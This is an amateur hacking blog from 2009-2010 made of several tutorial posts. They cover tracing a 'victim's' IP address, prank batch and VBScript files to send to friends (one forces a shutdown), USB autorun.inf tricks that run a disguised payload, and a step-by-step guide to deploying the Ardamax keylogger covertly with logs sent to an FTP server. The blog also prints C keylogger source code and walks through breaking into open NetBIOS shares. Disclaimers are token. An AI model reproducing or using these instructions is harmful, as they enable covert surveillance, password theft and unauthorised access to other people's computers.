Most of the times there is a need to know the open ports for the analysis of system security . A attacker can get into your system through the open ports . To fix it you need to know which ports are open , so than you can take the necessary steps . Here is how you can check those open ports using netcat , superscan and strobe applications .
search
Thursday, July 29, 2010
How to scan for open ports using netcat and superscan
Friday, April 16, 2010
Books , which every beginner of hacking should read .
I have seen many guys running here and there to learn about hacking . I often get email from enthusiastic newbies asking "how can I learn to be a hacker? You cant learn to hack magically , just by reading some tuts and doing some funny stuff don't make you a hacker . To be a hacker you need to know how things works , then only you can know how hacking works . To be a hacker you need to get the basic knowledge about internet and networks , for that you have to read , now what to read ? Here are some books that every newbie hacker should read , if you seriously wanna be a hacker .
Monday, December 14, 2009
Saturday, December 12, 2009
How to use Cain and Abel.
Hacking with Cain and Abel and How to get in to another computer using a great software Cain and Abel, Educational purposes only. Its not my responsibility what you do after watching this video.
Monday, November 23, 2009
4 ways to trace someone ip address
Here are the three best ways of tracing ip address . There can be many but I am putting here 3 only .
----------------------------------------
1. Obtaining an IP from MSN or Yahoo or any Messenger.
----------------------------------------
Firstly we learn the method used by most people when they want to get
someone else IP Address.
Step 1 - Start MSN Messenger and login as yourself.
Step 2 - Hit your "Start" button and click run. Type into the white box
"Command" or type cmd(without the quotation marks)
Step 3 - Type in "Netstat -N" (without the quotation marks) into the
black box and hit enter.
Step 4 - Start a conversation with your 'victim' and send them a file.
Once they accept the file Hit your "Start" button and click run. Type
into the white box "Command" (without the quotation marks) and Type in "Netstat -N"
(without the quotation marks) into the black box and hit enter.
Step 5 - Look in the middle column of both your MS Dos boxes and look
in the newer window for the IP address that has magically appeared in
the middle column. This is your victim's IP Address.
-----------------------------------
2. Obtaining an IP from an E-Mail.
-----------------------------------
Ok, lets say the person does not use MSN Messenger
we can still get his IP address from most E-Mail address. In this example we
shall use Outlook Express to view the E-Mails in.
Step 1 - Load Outlok express and left click on an E-Mail that was sent
from your 'victim'
Step 2 - Right click this E-Mail and click the "Properties" button.
Step 3 - Now Click on the tab displaying as it's text "Details" and
look for the buttom saying "Message Source", once found (not hard) click it.
Step 4 - Look in all the jargon for something like "X-Originating-IP: "
with a number after the colon. This number is the sender's IP Address.
Step 5 - If you cannot find "X-Originating-IP: " then do not worry.
Look for instead "Received:", and go along this string until you come
to a number in brackets, this however maybe an IP but it might not be
the IP address of the 'victim', infact if they sent the E-Mail from a
E-Mail service (like hotmail.com) then chances are it is not their
IP address.
---------------------------------------
3. Obtaining an IP from Physical Access.
---------------------------------------
If you have physical access to a computer then getting the IP address
is simple.
Step 1 - Click the "Start" button and hit "Run". Type in "Command" and
hit enter.
Step 2 - Type in "ipconfig" OR "winipcfg" and hit enter now look for
where it says "IP Address:", next to this is the IP of the computer you
are using
The forth method is posted in video section ,Check there
Thursday, May 7, 2009
Some fun hacks with vbscript and batch files
Cycle a message in your friends computer
open your notepad and type the following lines of code
@ECHO off
:Begin
msg * Hi
msg * Are you having fun?
msg * I am!
msg * Lets have fun together!
msg * Because you have been o-w-n-e-d
GOTO BEGIN
save it as anyfilename.bat
run and see the magic
Convey message to your friend and shutdown his/her computer
open your notepad and type the following lines of code
@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s
Save it as "Anything.BAT" and send it.
Toggle your friend's Caps Lock button simultaneously
open your notepad and type the following lines of code
Set wshShell =wscript.CreateObje ct("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
Save it as "Anything.VBS" and send it.
Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!
open your notepad and type the following lines of code
Set oWMP = CreateObject("WMPlayer.OCX. 7")
Set colCDROMs = oWMP.cdromCollectio n
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item( i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item( i).Eject
Next
End If
wscript.sleep 5000
loop
Save it as "Anything.VBS" and send it.
Frustrate your friend by making this VBScript hit Enter simultaneously
open your notepad and type the following lines of code
Set wshShell = wscript.CreateObjec t("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
Save it as "Anything.VBS" and send it.
Thursday, April 16, 2009
Quick Tutorial to hacking for autorun for USB Flash drives
Autorun will not work with “regular” USB flash drives the way that they do with CD-ROMs, but there are some tricks that you can do that will come very close. I say “regular” in that as many may know there are ways of modifying U3 drives so that they appear as CD-ROMs on Windows systems and can thus use autorun to silently run your “tools” without any indication anything is happening. The U3 hack however is a bit more complicated, I will do another “How to” on that later. For now let’s just discuss how we can create an autorun.inf file on a regular ‘ol USB flash drive that will do some interesting things.
Also it is important to mention that some of these techniques will even work if autoplay is disabled!
First, although we cannot have an application run automatically with a traditional USB drive, we can make it so that when a USB drive is plugged we have Windows make a suggestion to the user and all they need to do is click “OK” to a specific application or script you have deployed to the flash drive.
First in Notepad create a file called autorun.inf and save it to the root of your USB flash drive of choice. In the autorun file put this:
[autorun]
icon=lilguy.ico
open=howdy.bat
action=Click “OK” to play this fun game!
The first parameter is “icon” this tells Windows what icon to use as the icon image for the drive etc. This is important for the social engineering portion of the trick, you must consider your target. The image you choose should help instill trust in the application they are about to run, maybe a tantalizing icon of a scantly clad babe, a puppy, or my favorite a cute little cartoon devil holding a USB flash drive.
The “open” parameter indicates the program you wish to run, this can be an executable, or as in this case a .bat file. You could even call a .bat file which calls a series of executables. Go crazy.
The next parameter is “action” this is what will trigger the autorun dialog to appear. This text will appear in the dialog box along with your icon, so you probably want make this friendly, something like “Fun Game,” you probably don’t want to put something like “Click ‘OK’ to install backdoors and trojans!”.
Now unplug your flash drive and then replug it in, a dialog box like this should now appear:
So this is not as good as automatically running the application, but is useful nonetheless and there have actually been successful simulations where this has been used. A security consultancy used this technique as a proof of concept to test a credit union client of theirs. Several drives used this simple technique to run exectue a trojan that sent some simple data to an external email account. They scattered the drives in the parking lot, several employees picked the drives up on their way into work and within a short amount of time the email account they had set up was receiving emails.
Now we have our basic autorun.inf setup. But notice that if you click cancel and then click on the drive you just see the contents of the drive. However we can take this one step further, if the user is smart and their spidey senses are tingling from the dialog menu that appears and they click cancel, with the addition of one more line of code to the autorun.inf file that will automatically execute the code we specify when they click the drive either from “My Computer” or Explorer. This is different than a true autorun as it still requires a user to take an action to exectue the application, but still a significant security risk.
Add these lines to your autorun.inf file
[autorun]
icon=lilguy.ico
open=howdy.bat
action=Click “OK” to play this fun game!
shell\open\command=howdy.bat
OK save it and then unplug and plug the drive back in again. This time when the prompt appears hit “cancel”. Now go to double click the drive under “My Computer”. The application will automatically execute. By the way, this second portion will still work even if autoplay is disabled on a system and is actually more dangerous than the dialog in my opinion.
So what if we don’t want to execute a command on the drive and just open a webpage? You could execute Explorer in your .bat file to do this, or in the exectuble you run, but there is a quick and easy way to do this in the autorun.inf file. Replace the last line with this instead:
[autorun]
icon=lilguy.ico
open=howdy.bat
action=Click “OK” to play this fun game!
shellexecute=http://www.usbhacks.com
There we have it. An introduction to the wonderful world of autorun.inf hacks for USB flash drives. Again this should only be tested on your system, or systems you have permission to use this on, we are not responsible for your stupidity. Removable media devices don’t deploy malicious code and steal data, people do
Disclaimer: This tutorial is designed to show existing vulnerabilities and should only be used on systems you own, or have permission to execute this on. Removable media devices don’t deploy malicious code and steal data, people do.
Wednesday, April 8, 2009
Ardamax Keylogger Tutorial
A step-by-step guide to successfully creating a deployment package, sending it, and receiving information using Ardamax Keylogger. Now, in this guide, I only use one method of recieving information, and that's an FTP. I also do not protect the files. Any suggestions and comments are appreciated. Let's begin.
Head on over to:
CODE
http://www.ardamax.com/keylogger/
And scroll to the bottom. Download the free trial.
After downloading, open the program and install it. Simple enough, right? After installing, go to wherever you installed it at, and open it. It should open at the bottom right corner of your screen, down by the time. If not, press ctrl+shift+alt+h. Now, leave that alone.
Next, go to:
CODE
http://www.theserials.com/serial/serial_ardamax.html
Download the appropriate serial.
Now, open it, and it should give you a name and a jumble of letters and numbers.
A step-by-step guide to successfully creating a deployment package, sending it, and receiving information using Ardamax Keylogger. Now, in this guide, I only use one method of recieving information, and that's an FTP. I also do not protect the files. Any suggestions and comments are appreciated. Let's begin.
If you want to attach the keylogger to an existing file, go ahead and place that on your desktop.
~NOTE~
Again, right click the icon at the bottom-right.
Click "Remote Installation".
Click next.
Now, if you want to attach your keylogger to an existing file, tick the box that says "Append keylogger engine to.." etc etc.
If you tick it, click Browse, and select the file.
If not, continue down. The installation folder on target computer needs to remain Windows System Folder for added security, so leave it be.
Add any additional components you would like. I just leave mine as "log viewer" since all I grab are passwords from games.
From this point, click next.
Now, this part is self explanatory. I tick all of the boxes, as to hide it from everything visible, otherwise they can just see it and be like "Wtf", uninstall, etc.
Can't have that, now can we?
Click next.
For Security, do what you want. I leave all of it as-is and click next again.
Now, untick the "Check for updates" box, else it will check for updates on their computer and they will know that they are bugged.
Click next.
Tick the "Start in hidden mode" box, and leave the "Run on windows startup" as-is.
You may pick a date to self destruct, if you like. Sounds noisy, right? It simply removes itself on selected date. If not, leave it alone, and it will never self destruct.
Click next.
Tick the "Send logs every.." box, and choose how frequently you would like to recieve information that has been sent.
Select 'FTP' and de-select everything else as a delivery method.
You may choose what you want to see. I take out screenshots. Causes lag for me.
Leave log format alone.
You may choose to send logs if it exceeds a certain size, or if you want it to send no matter what, untick the box, which is what I do.
Continue on! (next.)
Now the fun part. -_-.
Head on over to:
CODE
http://phpnet.us/
Make an account, etc etc.
Save your FTP Account name and password. You'll need it in a moment.
This site will be the site that holds all information recieved by the keylogger.
When you're done, scroll down a bit.
Under "FTP Accounts", click "File Manager".
Near the top, click the "New Dir" button, and create a directory by any name you want. My favorite is "lolbeans".
Now, hold that thought. Bring the keylogger back.
In Ftp Host, put in:
ftp.phpnet.us
In "Remote Folder", put in the new directory's name you made. So, in this scenario, "lolbeans" without the "'s.
Fill in your Username and Password.
I leave Passive Mode checked because I'm not sure what it does, rofl. :[
Leave port alone as well. It's default.
Now to make sure everything is correctly done, click test. It should tell you it all went through. And to double check, you can refresh your open window. Click your "lolbeans" directory and there should be a test file in it.
Click next, if you're still alive.
Tick anything and everything you want.
Next.
If you selected screenshots to be enabled, pick how you want them delivered. Click next. If not, ignore this step.
Browse where you want the keylogger to be placed. You can also change the icon, which is nifty. If you're apologizing to a bitch ex girlfriend/boyfriend of yours, you can change the icon to a notepad and name it "Apology", and they fall for it.
Next.
This screen will go over with you everything that you have chosen. Make sure it's all correct.
Click Finish.
Now, if you appended the keylogger to something, you're going to need to put the "install" (feel free to rename it so it's not so obvious) and appended file into a .zip or .rar file.
If not, you have the simple "Install" on your desktop. Also, feel free to rename it to something like "Apology" or "OMFGFunnypicture!!!.jpg"
Upload the file or .rar/.zip somewhere, and let your target download it. They will double click it, and on their end, nothing will happen, but secretly, they have been keylogged.
Check your FTP Directory that you made as frequently as you told it to send logs, and you'll have everything you need.
First test it out on yourself.
Keylogging fun for C/C++ Beginners
The examples below are for beginners in C/C++ with some basic knowledge of the windows - API.
1. Global hook
Hook: A hook is a point in the system message-handling mechanism where an application can install a subroutine to monitor the message traffic in the system and process certain types of messages before they reach the target window procedure.
Available hooks:
WH_CALLWNDPROC
WH_CALLWNDPROCRET
WH_CBT
WH_DEBUG
WH_FOREGROUNDIDLE
WH_GETMESSAGE
WH_JOURNALPLAYBACK
WH_JOURNALRECORD
WH_KEYBOARD
WH_KEYBOARD_LL
WH_MOUSE
WH_MOUSE_LL
WH_MSGFILTER
WH_SHELL
WH_SYSMSGFILTER
To install a hook you call this API-function:
HHOOK SetWindowsHookEx(
int idHook, // type of hook to install
HOOKPROC lpfn, // address of hook procedure
HINSTANCE hMod, // handle to application instance
DWORD dwThreadId // identity of thread to install hook for
);
- idhook
Specifies the type of hook procedure to be installed. We choose “WH_KEYBOARD_LL” (13).
- lpfn
The LowLevelKeyboardProc hook procedure is an application-defined or library-defined callback function used with the SetWindowsHookEx function. The system calls this function every time a new keyboard input event is about to be posted into a thread input queue. The keyboard input can come from the local keyboard driver or from calls to thekeybd_event function. If the input comes from a call to keybd_event, the input was “injected”.
The HOOKPROC type defines a pointer to this callback function. LowLevelKeyboardProc is a placeholder for the application-defined or library-defined function name.
LRESULT CALLBACK LowLevelKeyboardProc(
int nCode, // hook code
WPARAM wParam, // message identifier
LPARAM lParam // pointer to structure with message data
);
- hMod
In this case, our instance handle.
- dwThreadId
Specifies the identifier of the thread with which the hook procedure is to be associated.
If this parameter is zero, the hook procedure is associated with all existing threads.
Now we know enough to create our first keylogger, using a global keyboard hook:
————————————————————————————————————————–
#include
#include
#define FILENAME “keylog.txt”
void CheckKey(int key);
LRESULT CALLBACK KeyboardHook(
int nCode, // hook code
WPARAM wParam, // message identifier
LPARAM lParam // pointer to structure with message data
);
typedef struct tagKBDLLHOOKSTRUCT {
DWORD vkCode; // virtual key code
DWORD scanCode; // scan code
DWORD flags; // flags
DWORD time; // time stamp for this message
DWORD dwExtraInfo; // extra info from the driver or keybd_event
} KBDLLHOOKSTRUCT, FAR *LPKBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT;
HHOOK hHook;
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow )
{
hHook = SetWindowsHookEx(13, KeyboardHook, hInstance , 0);
while (GetMessage(NULL,NULL,0,0)) ; // NOP while not WM_QUIT
return UnhookWindowsHookEx(hHook);
}
LRESULT CALLBACK KeyboardHook (int nCode, WPARAM wParam, LPARAM lParam )
{
if (nCode == HC_ACTION)
if (wParam == WM_SYSKEYDOWN || wParam == WM_KEYDOWN)
CheckKey (((PKBDLLHOOKSTRUCT)lParam)->vkCode);
return CallNextHookEx(hHook, nCode, wParam, lParam);
}
void CheckKey(int key)
{
FILE *pfile = fopen(FILENAME,”a+”);
// translate virtual key code to ascii
// and write it to file..
fclose(pfile);
}
————————————————————————————————————————–
2.
GetAsyncKeyState()
The GetAsyncKeyState function determines whether a key is up or down at the time the function is called, and whether the key was pressed after a previous call to GetAsyncKeyState.
SHORT GetAsyncKeyState(
int vKey // virtual-key code
);
- vKey
Specifies one of 256 possible virtual-key codes.
This is our second keylogger, now using GetAsyncKeyState() :
————————————————————————————————————————–
#include
#include
#define FILENAME "keylog.txt"
void CheckKey(int key);
void main()
{
while(1)
{
Sleep(10); // avoid 100% cpu usage
for(int key=8; key<=190; key++)
if (GetAsyncKeyState(key) == HC_ACTION)
CheckKey(key);
}
}
void CheckKey(int key)
{
// …
}
==========================================================================================================================
The CheckKey() function may look like :
void CheckKey(int key)
{
FILE *pfile = fopen(FILENAME,”a+”);
if (key==8)
fprintf(pfile,”%s”,”[del]“);
if (key==13)
fprintf(pfile,”%s”,”\n”);
if (key==32)
fprintf(pfile,”%s”,” “);
if (key==VK_CAPITAL)
fprintf(pfile,”%s”,”[CAPS]“);
if (key==VK_TAB)
fprintf(pfile,”%s”,”[TAB]“);
if (key==VK_SHIFT)
fprintf(pfile,”%s”,”[SHIFT]“);
if (key==VK_CONTROL)
fprintf(pfile,”%s”,”[CTRL]“);
if (key==VK_PAUSE)
fprintf(pfile,”%s”,”[PAUSE]“);
if (key==VK_ESCAPE)
fprintf(pfile,”%s”,”[ESC]“);
if (key==VK_END)
fprintf(pfile,”%s”,”[END]“);
if (key==VK_HOME)
fprintf(pfile,”%s”,”[HOME]“);
if (key==VK_LEFT)
fprintf(pfile,”%s”,”[LEFT]“);
if (key==VK_UP)
fprintf(pfile,”%s”,”[UP]“);
if (key==VK_RIGHT)
fprintf(pfile,”%s”,”[RIGHT]“);
if (key==VK_DOWN)
fprintf(pfile,”%s”,”[DOWN]“);
if (key==VK_SNAPSHOT)
fprintf(pfile,”%s”,”[PRINT]“);
if (key==VK_NUMLOCK)
fprintf(pfile,”%s”,”[NUM LOCK]“);
if (key==190 || key==110)
fprintf(pfile,”%s”,”.”);
if (key >=96 && key <= 105)
{
key -= 48;
fprintf(pfile,”%s”,&key);
}
if (key >=48 && key <= 59)
fprintf(pfile,”%s”,&key);
if (key !=VK_LBUTTON || key !=VK_RBUTTON)
{
if (key >=65 && key <=90)
{
if (GetKeyState(VK_CAPITAL))
fprintf(pfile,”%s”,&key);
else
{
key = key +32;
fprintf(pfile,”%s”,&key);
}
}
}
fclose(pfile);
}
The virtual key code table -> google. Compiled with MS VC++ 6.0.
bugs:
Friday, April 3, 2009
Netbios Tutorial
Here is a common hacking techniques used by some hacker ..
This is for educational purpose only, this hack works with unpatched version of Windows 2000/NT/XP. (only works if the shared drive that has no password set by administrator)
Step 1:
-Get a IP (range) scanner.
-Scan the victim's ip on TCP/IP port 1XX (i put some XX in the port number so as di cya magaya for actual testing)
Most port scanners (nmap being the most prominent example) correctly
report ports as either open, closed or filtered.
"Mahirap" o hard to find some open port open these days because of firewall (sa patched windows)enable that will either "filtered or closed" ang port if u used ip scanner..
What is filtered or closed port?
Use an analogy of the cops coming to your place and looking for you. Having a filtered port is like them knocking on the door, and you saying "I'm not here". Having a closed port is like them knocking on the door, and no one answering. With a filtered port, you know there is an active system behind that port.
As far as from a security standpoint, to most hackers, when they see closed they don't think of a firewall, they think the service is just not running. When I see filtered, and its a port I want to get to, I instantly think, oh, ok, is there some backdoor I can punch thru the firewall? Can I DOS the firewall? Can I remotely administer the firewall?
Step 1.1
-Open a dos prompt
-Do this by going to start/run
-Type cmd
When you are already in DOS command prompt type
-NMAP -v -p 159 77.106.2.1-110 (example target ip range)
-when you got an open port proceed to step 2
Step 2
This is what you need to type down:
Replace 255.255.255.255 with the victims IP address.
c:\windows>nbtstat -a 255.255.255.255
If you see this your in:
Step 3
type down:
c:\windows>net view \\255.255.255. 255
Step 4
type down:
c:\windows>net use x: \\255.255.255. 255\SYSVOL
(you can replace x: by anything letter you want but not your own drive
letters.)
Note:SYSVOL is the name of the shared harddrive.
If the command is successful we will get the confirmation.
The command was completed successfullly.
Bingo your inside the system now..
You can now execute any dos command e.g. x:\dir
(you will experience a lag in the system since it is a remote computer)
Now open windows explorer or just double click on the My Computer icon
on your desktop and you will see a new network drive X:\> . Now your are a
hacker.
This tutorial is warning for those who have old OS like unpatched XP,NT,2000..always protect ur system..upgrade ur o system.. ..protect your port specially port 139..Remember Hacking other`s comp is stealing..